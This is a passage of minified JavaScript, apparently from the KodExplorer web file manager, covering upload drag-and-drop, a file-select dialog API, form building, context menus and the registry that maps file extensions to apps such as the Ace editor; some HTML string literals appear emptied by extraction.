"+o+"/"+n),Title.reset(),n=0,o=0,uploader.reset(),d(!0)}).on("error",function(e){Tips.tips(e,!1)});var p;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}p&&window.clearTimeout(p)},dragLeave=function(e){stopPP(e),p&&window.clearTimeout(p),p=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.path.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e="FileSelectApi",t=function(){var t=$.parseUrl();if(t.params.fileSelect){var a=t.params.fileSelect,i=parseInt(t.params.fileSelectSingle),n=t.params.fileSelectAllow;kodReady.push(function(){Hook.bind("explorer.fileSelect.change",function(){d()}),d()});var o=function(e,t){var a={type:e,data:t};l.send(jsonEncode(a))},s=function(e){var t=jsonDecode(e);if(!t||!t.type)return console.log("parse error!"+e),void 0;var a=t.type,n=t.data;if("makeUrl"==a){$.isArray(n)||(n=[n]);var s=[],r=function(){Tips.close(LNG.loading),i&&(s=s[0]),o("makeUrl",s)};Tips.loading(LNG.loading);for(var l=0;n.length>l;l++){var c=n[l];core.fileLink(c,function(e){s.push({name:core.pathThis(c),url:e}),n.length==s.length&&r()})}}},r=window.parent;if(window.MessageInit)l.addTarget(r,"ParentPage");else{var l=new Messenger("ChildPage",e);l.addTarget(r,"ParentPage"),l.listen(s),window.MessageInit=!0}var c=function(e){var t=n.split("|"),a=core.pathExt(e);return""==n||""!=n&&-1!=$.inArray(a,t)?!0:!1},d=function(){var e=ui.fileLight.fileListSelect(),t=[];if(i){var n=$(e.get(0));if("all"==a&&0==e.length)t={file:[],folder:[]};else if("file"==a&&0==e.length)t=[];else if("folder"==a)t=[G.thisPath],n.hasClass("folder-box")&&(t=[ui.fileLight.path(n)]);else if("file"==a){if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t=[o])}}else if("all"==a)if(n.hasClass("folder-box")){var o=ui.fileLight.path(n);t=[{file:[],folder:[o]}]}else if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t={file:[o],folder:[]})}}else{var s=[],r=[];e.each(function(){if($(this).hasClass("file-box")){var e=ui.fileLight.path($(this));c(e)&&s.push(e)}else $(this).hasClass("folder-box")&&r.push(ui.fileLight.path($(this)))}),"folder"==a?t=r:"file"==a?t=s:"all"==a&&(t={file:s,folder:r})}u(t)},p=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},u=function(e){if("all"!=a){for(var t=[],i=0;e.length>i;i++)p(e[i])&&t.push(e[i]);e=t}0==e.length||"all"==a&&0==e.file.length&&0==e.folder.length?o("selectChange",0):o("selectChange",e)}}};return t(),{pathSelect:function(t,a){var i={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500},n={id:"pathSelectApi",ok:function(){if("function"==typeof a){var e=s.DOM.wrap.find(".path-select-input").data("result");if(!e)return Tips.tips(LNG.error,!1),void 0;if(e){var i=e;if(t.single&&"all"!=t.type&&(i=e[0]),t.makeUrl&&"file"==t.type)return l("makeUrl",i),!1;a(i)}else Tips.tips(LNG.error,!1)}},cancel:!0};t=$.extend(i,t),n=$.extend(n,t);var o=G.appHost+"explorer&type=iframe";o+="&fileSelect="+t.type,o+="&fileSelectSingle="+Number(t.single),o+="&fileSelectAllow="+t.allowExt,t.firstPath&&(o+="&path="+t.firstPath);var s=$.dialog.open(o,n),r='';"file"==t.type&&(r+=''+t.allowExt+""),$(r).insertBefore($(s.DOM.wrap).find(".aui-state-highlight"));var l=function(e,t){var a={type:e,data:t};messengerParent.send(jsonEncode(a))},c=function(e){var i=jsonDecode(e);if(!i||!i.type)return console.log("parse error!"+e),void 0;var n=i.type,o=i.data;if("makeUrl"==n)a(o),$.artDialog.list.pathSelectApi.close();else if("selectChange"==n){var s=$(".pathSelectApi"),r=s.find(".path-select-input"),l=s.find(".aui-state-highlight");o?l.removeClass("disable"):l.addClass("disable");var c="";if(t.single)c=core.pathThis(o[0]);else{var d=o;"all"==t.type&&(d=o.folder.concat(o.file)),$.each(d,function(e,t){c+=core.pathThis(t)+","}),c=rtrim(c,",")}r.data("result",o),r.val(c)}},d=$("[name=OpenpathSelectApi]").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(d,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",e),messengerParent.addTarget(d,"ParentPage"),messengerParent.listen(c),window.MessagerParentInit=!0)},randomImage:function(e){var t=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(t,function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",[],function(){var e={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(e){var t=G.staticPath+"others/sound/"+e;Hook.trigger("playSound",t)};return{playSoundFile:t,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){t(e[a])},50)}}}),define("app/common/core.formMake",[],function(e){var t,a,i,n={user:!1,group:!1,role:!1},o=function(){t=$("#"+a),t.find(".tab-group .tab-item").length>1?s():t.find(".tab-group").addClass("hidden"),t.find(".form-row.form-slider").exists()&&r(),t.find(".form-row.form-dateTime").exists()&&l(),t.find(".form-row.form-color").exists()&&c(),t.find(".form-row.form-fileSelect").exists()&&d(),t.find(".form-row select").exists()&&p(),t.find(".form-row.form-userSelect").exists()&&u(),t.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),t.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},s=function(){var e=t.find(".tab-content .tab-pane"),a=t.find(".tab-group .tab-item");e.each(function(){var i=$(this).attr("id"),n=t.find("."+i);n.length>0?n.appendTo($(this)):(e.filter("#"+i).remove(),a.find('[data-id="'+i+'"]').parent().remove())}),a.click(function(){a.removeClass("active"),$(this).addClass("active");var t=$(this).find("a").attr("data-id");e.removeClass("active"),e.filter("#"+t).addClass("active")})},r=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){t.find(".form-slider input").slider()})},l=function(){e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var e="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";t.find(".form-dateTime input").each(function(){var t=$(this).attr("data-format"),a=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],i=["H","h","i","s","A","a","b","g","G","O","P","c","U"],n=!1,o=!1;t||(t="Y/m/d");for(var s=0;a.length>s;s++)if(-1!==t.indexOf(a[s])){n=!0;break}for(var s=0;i.length>s;s++)if(-1!==t.indexOf(i[s])){o=!0;break}$(this).datetimepicker({format:t,datepicker:n,timepicker:o,lang:e}).blur(function(){$(this).trigger("change")})})}),t.find(".form-dateTime .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").focus()})},c=function(){e.async("lib/colorpicker/js/colorpicker",function(){t.find(".form-color input").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$($(this).data("colorpicker").el);a.val("#"+t).trigger("change"),a.parent().find(".btn i").css("background",a.val())}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value),$(this).parent().find(".btn i").css("background",$(this).val())}),t.find(".form-color .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").click()})})},d=function(){t.find(".path-select").die("click").live("click",function(){var e=$(this);core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){var t=core.path2url(t);e.parent().find("input[type=text]").val(t).trigger("change")})})},p=function(){seajs.use("lib/select2/css/select2.min.css"),e.async("lib/select2/js/select2.full.min.js",function(){var a=function(t,a){t.on("select2:select",function(e){if(!t.attr("multiple"))return t.select2("close"),void 0;var a=$(e.params.data.element);a.detach(),t.append(a),t.trigger("change.select2")}).on("select2:unselect",function(e){stopPP(e.params.originalEvent)}).on("change",function(){setTimeout(function(){$(window).trigger("resize")},10)}),"group"==a&&t.on("select2:open",function(){e.async("lib/ztree/ztree",function(){h(t,n[a])})});var i=t.attr("data-value");i&&(t.attr("multiple")&&(i=i.split(",")),t.val(i).trigger("change"))};t.find("select").each(function(){var e=$(this),t=e.attr("data-server"),i=!1;"tags"==e.parents(".form-row").attr("data-type")&&(i=!0),t?f(t,function(n){e.select2({data:n,tags:i,tokenSeparators:[","," "],closeOnSelect:!1}),a(e,t)}):(e.select2({closeOnSelect:!1,tags:i,tokenSeparators:[","," "]}),a(e,t))})})},u=function(){var e=t.find(".form-userSelect .btn-group"),a="btn-active",i="hidden";e.find("button").unbind("click").bind("click",function(){var e=$(this).attr("data-type"),t=$(this).parents(".btn-group"),n=t.parent().find(".user-select"),o=t.parent().find(".user-select-"+e);n.filter(":visible"),t.attr("multiple")?"all"==e?(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i)):($(this).toggleClass(a),o.toggleClass(i),$(this).hasClass(a)?t.find("[data-type=all]").removeClass(a):t.find("."+a).exists()||t.find("[data-type=all]").addClass(a)):(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i))})},f=function(e,t){var a=function(e){var t=[];for(var a in e)t.push({id:a,text:e[a].name});return t};if(n[e]&&t)return t(a(n[e])),void 0;var i={user:G.appHost+"systemMember/get",group:G.appHost+"systemGroup/get",role:G.appHost+"systemRole/get"};return null==n[e]?(Hook.bind("loadDataServer-"+e,function(){t(a(n[e]))}),void 0):(n[e]=null,$.ajax({url:i[e],dataType:"json",error:function(){n[e]=!1,Tips.tips(LNG.system_error,0)},success:function(i){return i.code?(n[e]=i.data,t&&t(a(n[e])),Hook.trigger("loadDataServer-"+e),void 0):(Tips.tips(i),void 0)}}),void 0)},h=function(e,t){var a=function(e){var t=function(e){for(var a=0;e.length>a;a++)void 0!=e[a]?(e[a].pid=e[a].parentID,e[a].id=e[a].groupID,delete e[a].children,delete e[a].parentID,delete e[a].groupID,e[a].child&&(e[a].children=e[a].child,delete e[a].child,t(e[a].children))):delete e[a]},a=[],i=$.extend(!0,{},e);for(var n in i){var o=i[n],s=o.parentID;if(i[s])i[s].child||(i[s].child=[]),i[s].child.push(i[o.groupID]);else{var r=i[o.groupID];r&&a.push(r)}}return t(a),a},i={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var a=12,i=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(i).after('').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";i.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data-group-id",t.id)}},callback:{onClick:function(e,t,a){n(t,a)}}},n=function(t,a){var i=$("#"+a.tId+"_a");if(i.removeClass("curSelectedNode"),e.attr("multiple")){i.toggleClass("this");var n=e.val();$.isArray(n)||(n=[]),i.hasClass("this")?n.push(a.id):n=_.without(n,a.id),$.each(n,function(){var t=e.find("[value="+this+"]");t.detach(),e.append(t)}),e.val(n).trigger("change")}else $("#"+t+" [treenode_a].this").removeClass("this"),i.toggleClass("this"),e.val(a.id).trigger("change"),e.select2("close")},o=function(){var t=e.val(),a=$(".select2-container--open .group-list-tree").attr("id"),i=$.fn.zTree.getZTreeObj(a);$("#"+a+" [treenode_a]").removeClass("this"),"string"==typeof t&&(t=[t]),t&&i.getNodesByFilter(function(e){inArray(t,e.id+"")&&$("#"+e.tId+"_a").addClass("this")})},s=function(e){var t=$(".select2-container--open .group-list-content");t.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==e?t.find(".group-list-tree").addClass("hidden"):t.find(".select2-results__options").addClass("hidden")},r=function(t){var n=function(e){e.unbind("change input").bind("change input",function(){$(this).val().length>0?s("search"):s("tree")})};if(e.attr("multiple")?n(e.parent().find(".select2-search__field")):n($(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return o(),s("tree"),void 0;e.on("open",function(){o()}).on("select2:unselect",function(){o()});var r=UUID(),l='
        ';$(l).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var c=a(t);$.fn.zTree.init($("#"+r),i,c);var d=$.fn.zTree.getZTreeObj(r);d&&d.expandAll(!0),o(),s("tree")};r(t)},m=function(){var e={},a=[],n=function(e){for(var t={all:"0",user:"",group:"",role:""},a=e.split(";"),i=0;a.length>i;i++){var n=a[i].split(":");2==n.length&&(t[n[0]]=n[1])}return"0"!=t.all||t.user||t.group||t.role?!0:!1};if(t.find(".form-row").each(function(){var t=$(this),o=$(this).attr("data-type"),s=$(this).find("[name]");$(this).find(".setting-title .require").exists();var r=s.attr("name"),l=!1;switch(o){case"input":case"textarea":case"password":case"number":case"slider":case"color":case"dateTime":case"fileSelect":l=s.val();break;case"switch":l=s.prop("checked")+0+"";break;case"radio":l=s.filter(":checked").attr("value");break;case"checkbox":l=[],s.filter(":checked").each(function(){l.push($(this).val())}),l=l.join(",");break;case"select":case"selectMutil":case"tags":case"group":case"role":case"user":l=s.val(),$.isArray(l)&&(l=l.join(",")),null==l&&(l="");break;case"userSelect":var c={all:"0",user:"",group:"",role:""};t.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type"),a="1";"all"!=e&&(a=$(t).find(".user-select-"+e+" select").val(),$.isArray(a)&&(a=a.join(",")),null==a&&(a="")),c[e]=a}),l="all:"+c.all+";user:"+c.user+";group:"+c.group+";role:"+c.role;break;default:}$(this).removeClass("error"),i[r]&&i[r].require&&(l===!1||null===l||"string"==typeof l&&""===l||"userSelect"==i[r].type&&!n(l))?($(this).addClass("error"),a.push({name:r,value:l})):e[r]=l}),a.length>0){Tips.tips(LNG.PluginConfigNotNull,"warning");var o=t.find(".panel-body"),s=t.find(".form-row.error");if(!s.parents(".tab-pane").hasClass("active")){var r=s.parents(".tab-pane").attr("id");t.find('.tab-group [data-id="'+r+'"]').click()}s.inScreen()||o.animate({scrollTop:s.offset().top-o.offset().top+o.scrollTop()},100),s.find("[name]").first().focus(),s.find(".setting-content").flash(3,100)}return{checked:0==a.length,error:a,result:e}},v=function(t){e.async(t,function(e){e&&($.isFunction(e)?e():"object"==typeof e&&e.hasOwnProperty("main")&&$.isFunction(e.main)&&e.main())})},g=function(e){if("string"==typeof e)return v(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),$.isArray(t)&&$(t).each(function(e,t){v(t)})}i=e,a=UUID();var n=template.compile(tplFormMake),o=n({LNG:LNG,items:e,wrapID:a});return o},b=function(e,t,a){var i=g(e);if(!i)return!1;var n={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:680,height:500,content:i,okVal:LNG.button_save,ok:function(){var e=m();return e.checked?a(e.result):!1}};if($.isPlainObject(t))for(var s in t)n[s]=t[s];var r=$.dialog(n),l=r.DOM.wrap.find(".aui-title").html();return r.DOM.wrap.find(".modal-title").html(l),o(),r};return{makeHtml:g,bindEvent:o,getFormData:m,initDialog:b}}),define("app/common/rightMenuExtence",[],function(){$.contextMenu||($.contextMenu={}),$.contextMenu.show=function(e,t,a){e&&($.contextMenu.hidden(),$(e).contextMenu({x:t,y:a})) -},$.contextMenu.menuShow=function(){var e=$(".context-menu-active"),t=e.data("contextMenu");if(e&&t){var a=t.$menu,i="disable";a.find(".disable").addClass(i),Hook.trigger("rightMenu.show",t.selector,e,a),Hook.trigger("rightMenu.show"+t.selector,e,a)}},$.contextMenu.isDisplay=function(){return 0==$(".context-menu-list:visible").length?!1:!0},$.contextMenu.hidden=function(){$(".context-menu-list").filter(":visible").filter(":not(.menu-not-auto-hidden)").trigger("contextmenu:hide")},$.contextMenu.menuAdd=function(e,t,a,i){var n=!1,o=$.contextMenu.menus;for(var s in o)if(o[s].selector==t){n=o[s];break}if(n&&e){var r=function(e){return e?-1!==e.indexOf("/")?'':'':""},l=function(e,t,a,i){var o=[],s={};if(a){for(var c in t)o.push({key:c,value:t[c]});for(var d=o.length-1;d>=0;d--)s[o[d].key]=o[d].value}else s=t;$.each(s,function(t,o){o.className=o.className||"";var s=t+" "+o.className;if("string"==typeof o)var c='
      • ';else{var d=o.name;o.accesskey&&(d+='('+o.accesskey+")");var c='
      • '+r(o.icon)+""+d+"
      • "}var p=$(c).clone();a?e.$menu.find(a).first().after(p):i&&e.$menu.find(i).first().before(p);var u=p.parent(".context-menu-list").data("contextMenu");p.data({contextMenu:u,contextMenuKey:t,contextMenuRoot:n});var f={$input:null,$label:null,accesskey:o.accesskey,className:o.className,icon:o.icon,name:o.name,_name:d,$node:p};if(u&&(u.items||(u.items={}),u.items[t]=f),"string"!=typeof o&&(e.commands||(e.commands={}),e.commands[t]=f,n.commands[t]=f,n.callbacks[t]=function(e,t){o.callback(e,t)},o.accesskey&&(n.accesskeys[o.accesskey]=f),o.items)){var c='
        ';$(c).appendTo(p),f.$menu=p.find("ul."+t),f.callback=null,f.appendTo=f.$node,f.type="sub",p.data("contextMenu",f).addClass("context-menu-submenu"),p.find("ul."+t).data({contextMenuRoot:n,contextMenu:f}),p.find("li."+t+"-first").data({contextMenuRoot:n,contextMenuKey:t+"-first",contextMenu:f}),f.items||(f.items={}),f.items[t+"-first"]={$input:null,$label:null,icon:"",name:"",_name:"",$node:p.find("li."+t+"-first")},l(f,o.items,"."+t+"-first")}})};l(n,e,a,i)}};var e=function(){return $('').appendTo("#rightMenu"),"function"!=typeof $.contextMenu?console.info("$.contextMenu is not function!"):($.contextMenu({zIndex:9999,selector:".dialog-menu",items:{"dialog-quit":{name:LNG.close,className:"dialog-quit",icon:"remove",accesskey:"q"},"dialog-max":{name:LNG.dialog_max,className:"dialog-max",icon:"resize-full",accesskey:"a"},"dialog-min":{name:LNG.dialog_min,className:"dialog-min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},"open-window":{name:LNG.open_ie,className:"open-window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"dialog-quit":i.close();break;case"dialog-min":i._clickMin(!1);break;case"dialog-max":i._clickMax();break;case"refresh":i.refresh();break;case"open-window":i.openWindow();break;case"qrcode":core.qrcode(i.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui-title img,.aui-title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),$.contextMenu.hidden()}),void 0)};Hook.bind("rightMenu.show.dialog-menu",function(e,t){var a=e.attr("id"),i=$.dialog.list[a],n="hidden",o=".open-window,.refresh,.qrcode,.context-menu-separator";i.hasFrame()?t.find(o).removeClass(n):t.find(o).addClass(n);var s=".dialog-min,.dialog-max";$("."+a).hasClass("dialog-can-resize")?t.find(s).removeClass(n):t.find(s).addClass(n)}),e()}),define("app/app/appBase",[],function(){var e={},t={},a={},i=!1,n=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),e[a.name]=a,a.ext||(a.ext="");var i=a.ext.split(",");e[a.name].extArr=i,a.sort=a.sort!==void 0?parseInt(a.sort):0;for(var n=0;i.length>n;n++){var o=trim(i[n]);e[a.name].extArr[n]=o,t[o]||(t[o]=[]);for(var s=!1,r=0;t[o].length>r;r++)if(t[o][r].name==a.name){s=!0;break}s||(t[o].push({name:a.name,sort:a.sort}),t[o].length>1&&(t[o]=_.sortBy(t[o],"sort").reverse()))}Hook.trigger("kodApp.add.finished")},o=function(){return t},s=function(i){if(!i||!e[i])return!1;delete e[i];for(var n in a)if(a[n]==i){delete a[n];break}for(var n in t){for(var o=t[n],s=[],r=0;o.length>r;r++)o[r].name!=i&&s.push(o[r]);0==s.length?delete t[n]:t[n]=s}},r=function(i){if(i===void 0){var n=[];for(var o in e)e[o].hidden||n.push(e[o]);return n}var s=a[i],n=[];if(!s&&!t[i])return!1;if(s&&(e[s]?n.push(e[s]):delete a[i]),!t[i])return n;for(var r=0;t[i].length>r;r++){var l=t[i][r].name;e[l]&&l!=s&&n.push(e[l])}return n},l=function(e){i=e},c=function(){return i},d=function(t,a,i){a&&"file"!=a||(a=core.pathExt(t)),i=i?i:"";var n={path:t,ext:a,appName:i};if(!Hook.trigger("kodApp.open.before",n)){if(t=n.path,a=n.ext,i=n.appName)var o=e[i];else{var s=r(a);if(!s||0==s.length)return kodApp.openUnknow(t,""),void 0;var o=s[0]}if(!o)return Tips.tips("["+i+"] not exists",!1);try{o.callback(t,a),Hook.trigger("kodApp.open.after",t,a,o)}catch(l){kodApp.openUnknow(t,""),console.error("kodApp.open error:",l)}}},p=function(t){var a=r(t),i=r("");""==t&&(a=!1),a?a.push({name:""}):a=[],a=a.concat(i);for(var n={},o=0;a.length>o;o++){var s=a[o];""==s.name||s.hidden?n["step-line"]="-------":n[s.name]={app:s.name,name:s.title,className:s.className,icon:s.icon,callback:function(t){var a=e[t];if(a&&a.callback){if($(".context-menu-active"),$(".context-menu-active").hasClass("menu-tree-file"))var i=ui.tree.makeParam();else var i=ui.path.makeParam();a.callback(i.path,i.type)}}}}return n},u=function(e,t){f(e,t),G.userConfig.kodAppDefault=htmlEncode(jsonEncode(a)),G.shareInfo||$.get(G.appHost+"setting/set&k=kodAppDefault&v="+jsonEncode(a))},f=function(t,i){if("string"==typeof t)a[t]=i;else if($.isArray(t))for(var n=0;t.length>n;n++)a[t[n]]=i;else if(e[i]&&$.isArray(e[i].extArr))for(var o=e[i].extArr,n=0;o.length>n;n++)a[o[n]]=i},h=function(){G.userConfig.kodAppDefault="[]",a={}},m=function(t,a){var t=e[t];return t?a?inArray(t.extArr,a):t.ext:!1},v=function(a,i,n){var a=e[a];if(!a)return!1;var o="undefined"==n?0:parseInt(n);0==o&&a.sort!==void 0&&(o=parseInt(a.sort)),"string"==$.type(i)&&(i=i.split(","));for(var s=0;i.length>s;s++){var r=i[s];if(r){inArray(a.extArr,r)||a.extArr.push(r),t[r]||(t[r]=[]);for(var l=!1,c=0;t[r].length>c;c++)t[r][c].name!=a.name||(t[r][c].sort=o,l=!0);l||t[r].push({name:a.name,sort:o})}}},g=function(){if(G.userConfig&&G.userConfig.kodAppDefault)try{var e=G.userConfig.kodAppDefault;e=jsonDecode(htmlDecode(e)),$.isPlainObject(e)&&(a=e)}catch(t){}Hook.bind("rightMenu.show.menu-file,rightMenu.show.menu-tree-file",function(e,t){if(e.hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";if(kodApp.getApp(i)){var o=kodApp.getAppMenu(i);t.find("li.open-with.context-menu-submenu").removeClass(n),t.find("ul.context-menu-list.open-with .context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(o,".menu-file",".open-with-first"),$.contextMenu.menuAdd(o,".menu-tree-file",".open-with-first")}else t.find("li.open-with.context-menu-submenu").addClass(n)}),Hook.trigger("kodApp.ready")};return g(),{debug:function(){return{appList:e,openDefault:t,openUser:a}},add:n,remove:s,appSupportCheck:m,appSupportSet:v,getApp:r,getAppBind:o,getAppMenu:p,setLastOpenTarget:l,getLastOpenTarget:c,setOpenUser:u,setOpenUserLocal:f,clearOpenUser:h,open:d}}),define("app/app/editor",[],function(){kodApp.add({name:"aceEditor",title:LNG["Plugin.default.aceEditor"],sort:0,ext:"txt,textile,oexe,inc,csv,log,asc,tsv,lnk,url,webloc,meta,localized,xib,xsd,storyboard,plist,csproj,pch,pbxproj,local,xcscheme,manifest,vbproj,strings,jshintrc,sublime-project,readme,changes,changelog,version,license,changelog,abap,abc,as,asp,aspx,ada,adb,htaccess,htgroups,htgroups,htpasswd,asciidoc,adoc,asm,a,ahk,bat,cmd,cpp,c,cc,cxx,h,hh,hpp,ino,c9search_results,cirru,cr,clj,cljs,cbl,cob,coffee,cf,cson,cakefile,cfm,cs,css,curly,d,di,dart,diff,patch,dockerfile,dot,dummy,dummy,e,ge,ejs,ex,exs,elm,erl,hrl,frt,fs,ldr,ftl,gcode,feature,.gitignore,glsl,frag,vert,gbs,go,groovy,haml,hbs,handlebars,tpl,mustache,hs,hx,html,hta,htm,xhtml,eex,html.eex,erb,rhtml,html.erb,ini,inf,conf,cfg,prefs,io,jack,jade,java,ji,jl,jq,js,jsm,json,jsp,jsx,latex,ltx,bib,lean,hlean,less,liquid,lisp,ls,logic,lql,lsl,lua,lp,lucene,Makefile,makemakefile,gnumakefile,makefile,ocamlmakefile,make,md,markdown,mask,matlab,mz,mel,mc,mush,mysql,nc,nix,nsi,nsh,m,mm,ml,mli,pas,p,pl,pm,pgsql,php,phtml,shtml,php3,php4,php5,phps,phpt,aw,ctp,module,ps1,praat,praatscript,psc,proc,plg,prolog,properties,proto,py,r,cshtml,rd,rhtml,rst,rb,ru,gemspec,rake,guardfile,rakefile,gemfile,rs,sass,scad,scala,scm,sm,rkt,oak,scheme,scss,sh,bash,bashrc,sjs,smarty,tpl,snippets,soy,space,sql,sqlserver,styl,stylus,svg,swift,tcl,tex,toml,twig,swig,ts,typescript,str,vala,vbs,vb,vm,v,vh,sv,svh,vhd,vhdl,wlk,wpgm,wtest,xml,rdf,rss,wsdl,xslt,atom,mathml,mml,xul,xbl,xaml,xq,yaml,yml,vcproj,vcxproj,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx",icon:G.staticPath+"images/file_icon/icon_app/ace.png",callback:function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(core.isApp("editor"))return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var a=t.$.dialog.list.openEditor,i=0;a&&"hidden"==$(a.DOM.wrap).css("visibility")&&(i=200,a.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},i)}else{var n=G.appHost+"editor/edit#filename="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}}});var e=ShareData.frameTop();e.Config&&"editor"==e.Config.pageApp&&kodApp.setOpenUserLocal(!1,"aceEditor")}),define("app/app/openWith",[],function(){kodApp.add({name:"appOpenSetting",title:LNG["Explorer.UI.appSetDefault"],ext:"",icon:G.staticPath+"images/file_icon/icon_others/setting.png",callback:function(e,t){var a="
        ",i=kodApp.getApp(t),n=!1;_.isArray(i)&&(n=i[0].name);var o=template.compile(a),s=o({LNG:LNG,apps:i,defaultApp:n,appAll:kodApp.getApp()}),r=$.dialog({id:"dialog-app-select",className:"menu-empty",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG["Explorer.UI.selectAppDesc"],width:480,height:360,padding:"20px",content:s,ok:function(){return l()}}),l=function(){var a=$("#app-default-checkbox").prop("checked"),i=$(".app-list.active .app-item.select").attr("data-app");return i?(r.close(),kodApp.open(e,t,i),a&&kodApp.setOpenUser(t,i),!0):(Tips.tips(LNG["Explorer.UI.selectAppWarning"],"warning"),!1)};$(".tab-group .tab-item").die("click").live("click",function(){var e=$(this).find("[aria-controls]").attr("aria-controls");"app-list-support"==e?$("#app-default-checkbox").prop("checked",!0):$("#app-default-checkbox").prop("checked",!1)}),$(".app-item").die("click").live("click",function(){$(this).parent().find(".select").removeClass("select"),$(this).addClass("select")}).die("dblclick").live("dblclick",function(){l()})}})}),define("app/app/html",[],function(){var e=function(e){return void 0==e?!1:0===e.indexOf("http")?!0:G.shareInfo||core.pathReadable(e)?!0:(Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),!1)};Hook.bind("kodApp.open.before",function(t){return"folder"==t.ext?(core.isApp("explorer")||isWap()?ui.path.list(t.path+"/"):core.explorer(t.path),!0):e(t.path)?("file"==t.ext&&(t.ext=""),void 0):!0}),kodApp.openUnknow=function(e,t){void 0==t&&(t="");var 